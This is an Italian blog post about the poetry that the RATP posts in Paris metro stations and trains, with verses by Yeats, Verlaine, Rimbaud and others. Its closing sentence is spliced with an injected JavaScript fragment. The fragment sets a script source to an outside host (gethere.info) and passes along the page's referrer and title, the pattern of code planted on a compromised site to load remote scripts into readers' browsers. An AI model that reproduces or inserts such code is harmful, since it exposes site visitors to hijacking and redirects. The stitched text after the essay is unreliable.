Metrica in Metro

Parigi ha una rete di metro capillare, molto funzionale anche se non proprio moderna. Ad ogni modo si finisce inevitabilmente per trascorrerci numerose mezzore a settimana. E se negli snodi più grandi si assiste a piacevoli concerti e si compra perfino frutta e verdura, in ogni fermata si è sopraffatti dai cartelloni pubblicitari. Alcuni sono interessanti, quelli dei concerti per esempio, o delle nuove mostre in programma.

Ma fin qui, niente di nuovo.

E’ quando inizi ad osservarli con una certa frequenza che ti accorgi che tra di loro ce ne sono di diversi. Non è pubblicità.  E’ poesia. Poesia vera, versi.

I primi che leggo sono di William Butler Yeats (seppure in Francese) ‘Marche doucement car tu marches sur mes reves’  (‘Tu cammina piano perché cammini sui miei sogni’).

E subito sotto i versi leggo che la rete dei trasporti pubblici urbani  – RATP – mi augura un anno pieno di poesia (non mancherò). Scopro in seguito che negli ultimi 10 anni la RATP affigge nelle stazioni della metro e all’interno dei treni versi di grandi poeti. All’inizio furono Verlaine, Rimbaud, Apollinaire. Poi grandi cantautori come Brassens, Ferré, Barbara. Poi i maestri di altri paesi. Oggi anche i versi dei vincitori di concorsi letterari nazionali. Un decennio di poesia in metro, con grande apprezzamento della città intera, dal centro alle banlieux.

Perchè a viaggiare è bene che sia anche la mente.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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